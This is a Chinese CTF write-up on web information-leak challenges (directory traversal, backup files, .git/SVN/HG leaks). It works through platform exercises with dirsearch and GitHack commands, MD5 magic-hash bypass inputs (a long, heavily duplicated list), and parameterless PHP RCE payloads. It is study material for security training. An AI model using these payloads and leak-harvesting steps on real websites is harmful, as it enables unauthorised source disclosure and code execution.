目录
一、目录遍历
例题二:结合上传漏洞一起使用
二、robots文件泄露
例题:攻防世界web题:Training-WWW-Robots
编辑 三、泄露PHPinfo文件
例题一:ctfhub的phpinfo
四、备份文件下载
例题一:bugku备份是个好习惯
例题二:攻防世界php2
五、git泄露
例题一:[GXYCTF2019]禁止套娃1
例题二:i春秋 backdoor
六、可以使用dvcs-ripper工具的一些泄露
(一)SVN泄露
(二)HG泄露
(三)CVS泄露
(四)Bazaar/bzr泄露
(五)WEB-INF/web.xml 泄露
首先看下大佬的类型总结CTF-WEB-信息泄露题目总结 - Ca1m - 博客园
总体思路是除了F12、抓包以外就是dirsearch后台目录,找可疑文件、可疑函数。
接下来找一些题目对应着练习
目录遍历是由于网站存在缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露(数据库备份文件bak,配置文件ini、congif等)
经验:flag一般放在目录或者目录文件里面
思路:直接使用../../(数量无所谓,多了的话到了根目录即使多,也会还是在根目录)的形式手动查找。(.../也可以)。有时候需要绕过的话就需要对../进行编码
学习可以参考https://www.csdn.net/tags/MtjaUgxsOTMyODUtYmxvZwO0O0OO0O0O.html
例题一:直接读取flag文件(ctfhub 目录遍历题)
直接写脚本读文件(因为不知道到底在那个目录下)
脚本:
import requests url = "http://challenge-75a9fda23a606fff.sandbox.ctfhub.com:10800/flag_in_here/" for i in range(5): for j in range(5): url_final = url + "/" + str(i) + "/" + str(j) r = requests.get(url_final) r.encoding = "utf-8" get_file = r.text if "flag.txt" in get_file: print(url_final)
直接访问以上地址即可获得flag
因为我没有搭建靶场,大家可以参考这个。其实就是在上传文件的时候,利用目录遍历漏洞,将文件上传到任意位置。
漏洞挖掘之目录遍历漏洞_大安全家的博客-CSDN博客_目录遍历漏洞利用
常见的有:robots文件、备份文件(bak)、备份压缩文件(.rar、.zip、.7z、.tar.gz、.bak、.txt、.old、.temp)、swap文件(.swap)
经验:flag一般放在相关目录或者目录文件里面(可能是flag,可能是robot里放了hint线索)
思路:使用dirsearch或者dirmap扫一遍。
(类似的题有攻防世界web题:robots)
第一步:使用dirsearch扫一波(dirsearch使用方法dirsearch使用教程(Windows版本)_大西瓜的安全之路的博客-CSDN博客_dirsearch)
语句:dirsearch.py -u http://61.147.171.105:50944/ -e php,txt -x 403
(因为题目提示的比较明显,所以我这里排除了403,只扫php和txt。)
也可以使用dirmap,请移步dirmap + dirsearch 安装和使用教程「建议收藏」 - 全栈程序员必看
第二步:访问robots.txt
第三步:访问这个/fl0g.php看看
基础知识学习参考:
phpinfo 信息利用_sdly_熬夜冠军的博客-CSDN博客_phpinfo利用
https://www.csdn.net/tags/NtDaYgwsMzYwNzctYmxvZwO0O0OO0O0O.html
phpinfo漏洞信息利用_墨痕诉清风的博客-CSDN博客_phpinfo漏洞利用
经验:flag一般放在相关目录或者目录文件里面(可能是flag,可能是robot里放了hint线索)
思路:使用dirsearch或者dirmap扫一遍。
经验:flag一般在.bak .swp .swo文件当中
思路:ctf题目经常需要进行代码审计,但一般不会把源码给我们,所以我们如果有发现备份文件,就能直接看到源码,进行审计。所以若题目没有关键信息提示,就用目录扫描工具扫描备份文件。
小知识:
PHP 文件常见的备份文件格式:
index.phps
index.php.swp
index.php.swo
index.php.php~
index.php.bak
index.php.txt
index.php.old
对于.DS_store漏洞。可以使用ds_store_exp工具,链接https://github.com/lijiejie/ds_store_exp
第一步:根据题目的提示,很可能是有备份文件。直接dirsearch一下
发现有flag.php和.bak文件
第二步:直接访问flag.php看看先,访问后是空白
第三步:接下来从.bak文件做文章,访问后,直接自动下载了一个bak文件。
第四步:打开看看
需要两个不同的key,但是两个key的md5的值要相同的。那么思路就是可以利用数组(复写绕过)或者 弱类型比较.
方法一:数组
使用数组进行绕过的话,md5函数无法处理数组,就会返回两个NULL,而两个NULL的md5值是一样的,但是传入的key值可以不同。)
注意:str_replace 函数会把传入的变量中的 “key” 替换为空,也就是说传入的变量名为 “key1” 时,经过函数替换后变量名会变成 “1”。所以,我们可以让变量名为 “kkeyey” 或者 “kekeyy”,这样替换之后就能够有 “key” 变量了。
payload:http://114.67.175.224:19974/kkeyey[]=aaa&kkeyey[]=bbhttp://114.67.175.224:19974/kkeyey1[]=aaa&kkeyey2[]=bbhttp://114.67.175.224:19974/?kkeyey1[]=aaa&kkeyey2[]=bbhttp://114.67.175.224:19974/kkeyey1[]=aaa&kkeyey2[]=bbhttp://114.67.175.224:19974/kkeyey[]=aaa&kkeyey[]=bb
方法二:弱类型比较,使用==比较漏洞(参考「0x3ml」大佬的办法)
如果两个字符经过md5加密后的值是0exxxxx形式,在科学计数法中会被认为是0*10的几次方的,结果是0。此时,md5加密值相等,但是key值是不等的
md5加密后是0exxxxx常见形式:
240610708
0e462097431906509019562988736854
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
payload:http://114.67.175.224:19974/?kkeyey1=s878926199a&kkeyey2=s1665632922a
第一步:看下源码
啥都没有
第二步:扫后台目录
python dirsearch.py -u "http://61.147.171.105:58172/" -e* -i 20
哈哈其实我啥也没扫出来。看了下大家的思路,有的用御剑扫的。还有的直接盲猜phps(个人觉得逻辑不够严谨)
那么我们直接访问index.phps(我没下御剑哈哈),访问后直接就是源码。源码第一个if说的是,如果id的值为admin,就直接退出。第二个if是说id需要等于编码后的admin值。本题是get方式传参,所以直接在url当中构造payload,而url会自动解码,如果我们只对admin进行一次url编码,则第一次跑出来的数据id就直接是admin,那么会exit(第一个if条件的判断),所以为了避免这种情况发生,我们需要对admin进行二次编码。
第一次:admin --> %61dmin(将a进行了加密)
第二次:%61dmin–>%2561dmin(将%进行了加密)
Git信息泄露原理解析及利用总结_wulanlin的博客-CSDN博客_git泄露
大佬总结:https://www.jianshu.com/p/0ea09975169d
经验:
1.站点是否有醒目地指出Git,如果有的话,那就说明站点很大可能是存在这个问题的
2.如果站点没有醒目的提示的话,dirsearch一下,看是否有./git
3.或者直接通过网页访问.git目录,如果能访问就说明存在
当确认存在这个漏洞之后,就可以通过GitHack下载。
思路:下载以后进行代码审计完成后续的答题(泄露一般都是第一步)
第一步:点开网页
第二步:一般先是看下源码
看了以后发现没啥发现
第三步:扫后台
python dirsearch.py -u "http://56416d03-e03b-4fd7-b0bc-e2759beb0455.node4.buuoj.cn:81/"
扫的速度非常快,基本上在前边就看到了大量的.git文件
第四步:既然确定是git泄露,那么就githack吧
python GitHack.py http://56416d03-e03b-4fd7-b0bc-e2759beb0455.node4.buuoj.cn:81/.git/
第五步:打开文件
第六步:代码审计
1.GET方式传参exp
2.第一个preg_match过滤了php伪协议(不能用php伪协议读取flag.php文件了)
3.preg_replace采用了正则匹配(其实就是无参数rce),?R表示引用当前表达式
形如:a(b()); 是符合正则匹配表达式的结构
传入的值在经过正则匹配后依次替换成空,到最后,exp1只剩下一个 ; 于是就成功绕过进入下一步检查。
4.第二个preg_match限制了一些关键字
参考:无参数RCE总结_L1am0ur的博客-CSDN博客
?exp=print_r(scandir(current(localeconv())));
(print_r也可以用var_dump)
函数知识:
current()表示数组中指针当前所在的位置
localeconv()函数返回一包含本地数字及货币格式信息的数组,数组第一项是.
array_reverse() 函数返回翻转顺序的数组。
(记一下:scandir(current(localeconv())) 很常用)
第五步:读取flag.php
可以看到flag.php的位置在倒数第二个。 但是无法直读倒数第二个。所以用array_reverse()
翻转一下数组的顺序,让flag.php就跑到第二个位置了,然后用next()读第二个
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
第一步:看源码,没什么东西,dirsearch一下,但是有个问题很具体,这个i春秋没有具体的ip。
第二步:根据题目提示,我直接盲githack一下(在此之前已经访问了啥robot.txt flag.php 测试.swp .swo .bak等备份文件后缀均无果)
python GitHack.py http://eci-2ze8dc26365gmv8gaszb.cloudeci1.ichunqiu.com/Challenges/.git
第三步:打开看看(robot里面是disallow)
使用Git_Extract工具(自动解析commit),之后根据提示找到修改前的flag文件。具体的就不继续演示了,把这道题放在这里就是告诉自己有时候可以哟个eztract这个工具(ps:要用python2)。如果后面有空我会完整的做了截图放这。
ps:git常见利用
.git/index中会缓存git add的文件,这里在没有commit的情况下,也是存在的
https://github.com/lijiejie/GitHack lijiejie的这个就是获取的这个
.git/refs/heads/master 记录了master的commit的hash,由此可以解析出这个commit的所有文件
.git/logs/HEAD其中存储了git的log信息,可以找到历史的commit项
.git/refs/stash 工作进度的临时保存
最后说一个pack的问题,这个好像还没看见有ctf中考到,这里也做了恢复
.git/info/packs packs文件提取恢复
跟.git类似,使用svn对站点自动配置,泄露以后会被利用直接被代码审计
例题一:CTFHUB SVN泄露
第一步:直接右键查看源代码没有什么帮助,dirsearch一下
就还挺无语的,我没发现svn泄露
第二步:然后我直接用dvcs-ripper扫扫看,确实有svn,直接一级一级看下去发现flag。(如果是隐藏的,可以考虑tree一下)
当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
例题一:ctfhub hg泄露
第一步:根据提示直接rip一下看看:
使用命令:
cd dvcs-ripper
perl ./rip-hg.pl -v -u http://challenge-eb0a8a55da019b74.sandbox.ctfhub.com:10800/.hg
第二步:打开那个txt看看,有flag线索
第四步:由于目录下未能找到该文件,所以在url中访问看看
最后三种一时半会没找着题,也比较困了,暂时就这些,如果后面又发现了会补充。